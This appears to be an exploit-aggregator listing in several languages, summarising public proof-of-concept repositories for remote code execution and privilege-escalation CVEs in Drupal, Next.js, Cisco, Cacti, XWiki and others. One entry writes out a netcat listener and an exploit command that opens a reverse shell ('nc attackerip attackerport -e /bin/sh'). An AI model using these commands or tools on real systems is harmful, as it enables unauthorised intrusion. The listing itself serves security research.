Drupal-Exploit-Lab

Drupal-Exploit-Lab WAF（Web Application Firewall）の有無による Drupal 7.57（CVE-2018-7600）の悪用デモンストレーション 説明 このプロジェクトは、Drupal 7.57 の悪用が 2 つの異なるシナリオでどのように行われるかを示しています。 1. 保護されていないサーバー → Metasploit による悪用に成功し、Meterpreter シェルを取得します。 2. 保護されたサーバー → 同じ脆弱なバージョンですが、保護（ModSecurity + OWASP CRS）が適用されています → 悪用は失敗します。...

CVE-2025-55182

CVE-2025-55182 Next.js RCE エクスプロイトツール 🚀 これは Next.js React Server Components CVE-2025-55182 のリモートコード実行 RCE 脆弱性に対する自動化された概念実証 PoC ツールです。 本ツールは インタラクティブシェル 、スマートプロトコル識別 、マルチスレッド一括スキャン 機能を統合しており、セキュリティ研究者やペネトレーションテスターが脆弱性を迅速に検証・悪用するために設計されています。 ⚠️ 免責事項 :...

TP-L-NK-SIZMA-EXPLO-T

TP-LiNK-SIZMA-EXPLOiT TP-Link Router 인증된 RCE 익스플로잇 CVE-2022-30075 이 도구는 TP-Link Archer AX50 및 기타 일부 TP-Link 라우터 모델에서 발견된 CVE-2022-30075 취약점을 이용하여 인증된 원격 명령 실행Authenticated Remote Code Execution을 수행합니다. TP-Link Router 인증된 RCE 익스플로잇 CVE-2022-30075 이 도구는 TP-Link Archer AX50 및 기타 일부 TP-Link 라우터 모델에서...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function の脆弱性 CVE-2022-22963 RCE これは Spring4Shell CVE-2022-22963 の Python 実装です。 Spring Cloud Function =3.1.6（3.1.x 系向け）、 および =3.2.2（3.2.x 系向け）を実行しているサービスに影響します。 オンライン上の複数の POC を組み合わせたものです。 作者: Randall Banner 日付: 17/04/23 説明: このスクリプトは、現在のディレクトリに、単純な bash リバースシェルのワンライナー を含む shell.sh...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV シリーズ PoC & Exploit ⚠ 警告: 認可されたテストのみ を対象としています。自分が所有していない、または書面による許可を得ていないシステムに対して使用しないでください。これはProof of Concept であり、認可されたテストのみ を目的としています。 これは何か 小さなリポジトリ: CiscoPoc.py — CVE-2023-20048 を確認するための無害な PoC CiscoRCE.py — 脆弱な form2ping.cgi を介してリバースシェルを試みるエクスプロイト 説明 このスクリプトは、Cisco...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 인증된 RCE PoC 이 저장소는 Cacti의 인증된 원격 코드 실행 취약점인 CVE‑2025‑24367 에 대한 개념 증명 익스플로잇을 포함합니다. 이 문제는 그래프 템플릿 처리에서 불충분한 입력 검증을 악용합니다. "Unix – Logged in Users" 그래프 템플릿ID 226에 악성 콘텐츠를 주입하여 Cacti 웹 루트에 임의의 PHP 파일을 작성하고 서버에서 명령을 실행할 수 있습니다. 이 PoC는 실험실 환경, 통제된 테스트, 그리고 연구 목적으로만 사용됩니다. 취약점 요약...

CVE-2024-48990

CVE-2024-48990 — needrestart 로컬 권한 상승 Ubuntu/Debian 시스템에서 PYTHONPATH 주입을 통해 needrestart /environ에서 프로세스의 전체 환경 을 상속받아 Python 인터프리터를 다시 호출합니다. 여기에는 PYTHONPATH도 포함됩니다. 권한이 없는 로컬 사용자는 다음과 같이 이를 악용할 수 있습니다: 1. PYTHONPATH를 악성 importlib 패키지가 포함된 디렉터리로 설정 2. Python 프로세스를 계속 실행 상태로 유지하여 needrestart가 검사 중...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2025-49132

CVE-2025-49132-POC 私は個人的なチャレンジとして、0xtensho に触発されてこのPoCを作成しました。 クリーンな出力とリバースシェル専用を目的として作成しました。 使用方法: root@kitploit: Change the host and the listener variable first python3 CVE-2025-49132POC.py 免責事項 法的免責事項: このPoC（Proof of...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 安全および安全でない脆弱性/確認チェック: （「安全なチェック」で確認できない場合のみ「安全でないチェック」を使用します） $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 安全でない脆弱性/確認チェック: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function (located in the monitor app). The root cause is that user-supplied monitor addresses are interpolated directly into shell commands without validation , allowing authenticated users with monitor permission...

EUVD-2026-76991

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2026-90770 Spug through 3.4.0 Remote Code Execution via ping_check

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2020-15778

CVE-2020-15778 简介 本仓库复现了 CVE-2020-15778。 步骤 1. 构建 scp 服务器和客户端的 Docker 镜像 root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. 在容器中启动 scp 服务器。 root@kitploit: docker run -d -P --name scp-server server-cve 通过以下命令获取 scp 服务器的内部 IP 地址：...

distccd_rce_CVE-2004-2687

このスクリプトの目的は、Metasploitを使用せずに手動で行うことです。 使用方法: root@kitploit: nc -lvnp 4466 エクスプロイトの実行: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

nfsen-exploit

nfsen-exploit nfsen 1.3.7 における CVE-2017-6971 のリモートコマンド実行エクスプロイト。 Ubuntu でテスト済み。おそらくすべての環境で動作します。 脆弱性は Paul Taylor/Foregenix Ltd によって発見されました。 使用方法: python exploit.py これにより、リモートマシン上にルートレベルのシェルが生成されます。...

samba-trans2open-exploit-report

Samba Trans2Open 익스플로잇 보고서 이 저장소는 가상 Linux 환경에서 Samba Trans2Open 취약점CVE-2003-0201을 익스플로잇하는 전체 기술 워크스루를 포함합니다. 익스플로잇은 교육 및 윤리적 해킹 훈련 목적으로 수행되었습니다. 보고서 내용 🔍 netdiscover, nmap, whatweb와 같은 도구를 사용한 네트워크 및 서비스 발견 🛡️ 취약점 식별 및 CVE 매핑 🔓 Metasploit 및 리버스 셸 페이로드를 사용한 익스플로잇 🧰 대상 시스템에서 루트 액세스 획득 📄 취약점 완화를 위한...

CVE-2025-56383

脆弱性 root@kitploit: 攻撃タイプ: DLL Hijacking DLLハイジャック 対象アプリケーション: Notepad++ 方法: NppExport.dll ファイルが Notepad++ によって作業ディレクトリから読み込まれる 実装 悪意のあるDLLには以下が含まれています: root@kitploit: 互換性を確保するための元のライブラリのエクスポート関数 Reverse shell, 攻撃ホストに接続する 読み込みのブロックを防ぐために別スレッドで実行...

paint2die

最もシンプルで信頼性の高いRichFaces Paint2DResource CVE-2018-12533 RF-14310エクスプロイト インストール • 使用方法 • Paint2Dieの実行 インストール手順 root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 使用方法 root@kitploit: ./paint2die -h...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki 인증되지 않은 RCE 익스플로잇 영향을 받는 XWiki 버전 버전 15.10.11 버전 16.4.1 버전 16.5.0RC1 취약점 설명 영향을 받는 XWiki 버전은 SolrSearch 매크로에서 안전하지 않은 Groovy 표현식 처리로 인한 원격 코드 실행 취약점을 포함합니다. 인증되지 않은 공격자는 원격으로 임의의 Groovy 코드를 실행하고 리버스 셸을 획득할 수 있습니다. 개념 증명 이 익스플로잇은 대상 시스템에서 코드를 실행하고 리버스 셸을 설정하는 데 사용할 수 있습니다....